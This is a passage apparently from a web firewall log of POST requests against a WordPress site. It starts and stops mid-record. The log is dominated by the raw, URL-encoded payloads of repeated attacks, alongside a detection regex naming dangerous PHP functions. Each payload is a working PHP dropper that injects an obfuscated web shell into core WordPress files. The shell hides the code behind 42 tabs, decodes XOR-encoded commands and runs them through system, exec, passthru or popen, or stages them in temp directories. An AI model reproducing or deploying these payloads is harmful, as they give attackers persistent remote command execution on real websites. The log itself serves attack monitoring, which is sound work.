5B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:5351\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nPC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:12","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4146\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nJO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:14","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:4146\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nyc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:15","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%